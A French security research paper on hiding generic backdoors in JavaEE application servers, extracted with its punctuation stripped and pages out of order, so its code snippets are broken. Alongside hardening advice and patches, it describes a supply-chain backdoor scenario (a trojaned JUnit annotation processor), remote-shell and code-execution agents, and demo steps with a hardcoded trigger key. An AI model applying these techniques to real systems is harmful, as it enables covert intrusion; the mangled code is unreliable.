ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

